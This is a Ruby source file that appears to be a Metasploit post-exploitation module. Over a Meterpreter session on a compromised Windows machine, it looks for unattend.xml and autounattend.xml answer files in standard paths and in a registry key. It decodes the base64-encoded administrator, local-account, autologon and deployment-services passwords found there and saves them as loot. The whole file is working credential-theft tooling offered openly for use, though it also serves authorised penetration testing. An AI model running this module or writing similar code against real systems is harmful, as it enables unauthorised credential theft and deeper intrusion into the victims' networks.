334 lines
8.4 KiB
Ruby
334 lines
8.4 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/post/file'
|
|
require 'rexml/document'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::File
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Windows Gather Unattended Answer File Enumeration',
|
|
'Description' => %q{
|
|
This module will check the file system for a copy of unattend.xml and/or
|
|
autounattend.xml found in Windows Vista, or newer Windows systems. And then
|
|
extract sensitive information such as usernames and decoded passwords.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Sean Verity <veritysr1980[at]gmail.com>',
|
|
'sinn3r',
|
|
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
|
|
],
|
|
'References' =>
|
|
[
|
|
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
|
|
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx']
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true])
|
|
], self.class)
|
|
end
|
|
|
|
|
|
#
|
|
# Determie if unattend.xml exists or not
|
|
#
|
|
def unattend_exists?(xml_path)
|
|
x = session.fs.file.stat(xml_path) rescue nil
|
|
return !x.nil?
|
|
end
|
|
|
|
|
|
#
|
|
# Read and parse the XML file
|
|
#
|
|
def load_unattend(xml_path)
|
|
print_status("Reading #{xml_path}")
|
|
f = session.fs.file.new(xml_path)
|
|
raw = ""
|
|
until f.eof?
|
|
raw << f.read
|
|
end
|
|
|
|
begin
|
|
xml = REXML::Document.new(raw)
|
|
rescue REXML::ParseException => e
|
|
print_error("Invalid XML format")
|
|
vprint_line(e.message)
|
|
return nil, raw
|
|
end
|
|
|
|
return xml, raw
|
|
end
|
|
|
|
|
|
#
|
|
# Extract sensitive data from UserAccounts
|
|
#
|
|
def extract_useraccounts(user_accounts)
|
|
return[] if user_accounts.nil?
|
|
|
|
cred_tables = []
|
|
account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts']
|
|
account_types.each do |t|
|
|
element = user_accounts.elements[t]
|
|
next if element.nil?
|
|
|
|
case t
|
|
#
|
|
# Extract the password from AdministratorPasswords
|
|
#
|
|
when account_types[0]
|
|
table = Rex::Ui::Text::Table.new({
|
|
'Header' => 'AdministratorPasswords',
|
|
'Indent' => 1,
|
|
'Columns' => ['Username', 'Password']
|
|
})
|
|
|
|
password = element.elements['Value'].get_text.value rescue ''
|
|
plaintext = element.elements['PlainText'].get_text.value rescue 'true'
|
|
|
|
if plaintext == 'false'
|
|
password = Rex::Text.decode_base64(password)
|
|
password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '')
|
|
end
|
|
|
|
if not password.empty?
|
|
table << ['Administrator', password]
|
|
cred_tables << table
|
|
end
|
|
|
|
#
|
|
# Extract the sensitive data from DomainAccounts.
|
|
# According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts
|
|
#
|
|
when account_types[1] #DomainAccounts
|
|
table = Rex::Ui::Text::Table.new({
|
|
'Header' => 'DomainAccounts',
|
|
'Indent' => 1,
|
|
'Columns' => ['Username', 'Group']
|
|
})
|
|
|
|
element.elements.each do |account_list|
|
|
name = account_list.elements['DomainAccount/Name'].get_text.value rescue ''
|
|
group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true'
|
|
|
|
table << [name, group]
|
|
end
|
|
|
|
cred_tables << table if not table.rows.empty?
|
|
|
|
#
|
|
# Extract the username/password from LocalAccounts
|
|
#
|
|
when account_types[2] #LocalAccounts
|
|
table = Rex::Ui::Text::Table.new({
|
|
'Header' => 'LocalAccounts',
|
|
'Indent' => 1,
|
|
'Columns' => ['Username', 'Password']
|
|
})
|
|
|
|
element.elements.each do |local|
|
|
password = local.elements['Password/Value'].get_text.value rescue ''
|
|
plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true'
|
|
|
|
if plaintext == 'false'
|
|
password = Rex::Text.decode_base64(password)
|
|
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
|
end
|
|
|
|
username = local.elements['Name'].get_text.value rescue ''
|
|
table << [username, password]
|
|
end
|
|
|
|
cred_tables << table if not table.rows.empty?
|
|
end
|
|
end
|
|
|
|
return cred_tables
|
|
end
|
|
|
|
|
|
#
|
|
# Extract sensitive data from AutoLogon
|
|
#
|
|
def extract_autologon(auto_logon)
|
|
return [] if auto_logon.nil?
|
|
|
|
domain = auto_logon.elements['Domain'].get_text.value rescue ''
|
|
username = auto_logon.elements['Username'].get_text.value rescue ''
|
|
password = auto_logon.elements['Password/Value'].get_text.value rescue ''
|
|
plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true'
|
|
|
|
if plaintext == 'false'
|
|
password = Rex::Text.decode_base64(password)
|
|
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
|
end
|
|
|
|
table = Rex::Ui::Text::Table.new({
|
|
'Header' => 'AutoLogon',
|
|
'Indent' => 1,
|
|
'Columns' => ['Domain', 'Username', 'Password']
|
|
})
|
|
|
|
table << [domain, username, password]
|
|
|
|
return [table]
|
|
end
|
|
|
|
|
|
#
|
|
# Extract sensitive data from Deployment Services.
|
|
# We can only seem to add one <Login> with Windows System Image Manager, so
|
|
# we'll only enum one.
|
|
#
|
|
def extract_deployment(deployment)
|
|
return [] if deployment.nil?
|
|
|
|
domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue ''
|
|
username = deployment.elements['Login/Credentials/Username'].get_text.value rescue ''
|
|
password = deployment.elements['Login/Credentials/Password'].get_text.value rescue ''
|
|
plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true'
|
|
|
|
if plaintext == 'false'
|
|
password = Rex::Text.decode_base64(password)
|
|
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
|
end
|
|
|
|
table = Rex::Ui::Text::Table.new({
|
|
'Header' => 'WindowsDeploymentServices',
|
|
'Indent' => 1,
|
|
'Columns' => ['Domain', 'Username', 'Password']
|
|
})
|
|
|
|
table << [domain, username, password]
|
|
|
|
return [table]
|
|
end
|
|
|
|
|
|
#
|
|
# Save Rex tables separately
|
|
#
|
|
def save_cred_tables(cred_tables)
|
|
cred_tables.each do |t|
|
|
vprint_line("\n#{t.to_s}\n")
|
|
p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, t.header, t.header)
|
|
print_status("#{t.header} saved as: #{p}")
|
|
end
|
|
end
|
|
|
|
|
|
#
|
|
# Save the raw version of unattend.xml
|
|
#
|
|
def save_raw(xmlpath, data)
|
|
return if data.empty?
|
|
fname = ::File.basename(xmlpath)
|
|
p = store_loot('windows.unattended.raw', 'text/plain', session, data)
|
|
print_status("Raw version of #{fname} saved as: #{p}")
|
|
end
|
|
|
|
|
|
#
|
|
# If we spot a path for the answer file, we should check it out too
|
|
#
|
|
def get_registry_unattend_path
|
|
# HKLM\System\Setup!UnattendFile
|
|
begin
|
|
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM')
|
|
fname = key.query_value('Setup!UnattendFile').data
|
|
return fname
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
return ''
|
|
end
|
|
end
|
|
|
|
|
|
#
|
|
# Initialize all 7 possible paths for the answer file
|
|
#
|
|
def init_paths
|
|
drive = session.fs.file.expand_path("%SystemDrive%")
|
|
|
|
files =
|
|
[
|
|
'unattend.xml',
|
|
'autounattend.xml'
|
|
]
|
|
|
|
target_paths =
|
|
[
|
|
"#{drive}\\",
|
|
"#{drive}\\Windows\\System32\\sysprep\\",
|
|
"#{drive}\\Windows\\panther\\",
|
|
"#{drive}\\Windows\\Panther\Unattend\\",
|
|
"#{drive}\\Windows\\System32\\"
|
|
]
|
|
|
|
paths = []
|
|
target_paths.each do |p|
|
|
files.each do |f|
|
|
paths << "#{p}#{f}"
|
|
end
|
|
end
|
|
|
|
# If there is one for registry, we add it to the list too
|
|
reg_path = get_registry_unattend_path
|
|
paths << reg_path if not reg_path.empty?
|
|
|
|
return paths
|
|
end
|
|
|
|
|
|
def run
|
|
init_paths.each do |xml_path|
|
|
# If unattend.xml doesn't exist, move on to the next one
|
|
if not unattend_exists?(xml_path)
|
|
vprint_error("#{xml_path} not found")
|
|
next
|
|
end
|
|
|
|
xml, raw = load_unattend(xml_path)
|
|
save_raw(xml_path, raw)
|
|
|
|
# XML failed to parse, will not go on from here
|
|
return if not xml
|
|
|
|
# Extract the credentials
|
|
tables = []
|
|
unattend = xml.elements['unattend']
|
|
return if unattend.nil?
|
|
|
|
unattend.each_element do |settings|
|
|
next if settings.class != REXML::Element
|
|
settings.get_elements('component').each do |c|
|
|
next if c.class != REXML::Element
|
|
tables << extract_useraccounts(c.elements['UserAccounts'])
|
|
tables << extract_autologon(c.elements['AutoLogon'])
|
|
tables << extract_deployment(c.elements['WindowsDeploymentServices'])
|
|
end
|
|
end
|
|
|
|
# Save the data
|
|
save_cred_tables(tables.flatten) if not tables.empty?
|
|
|
|
return if not datastore['GETALL']
|
|
end
|
|
end
|
|
end
|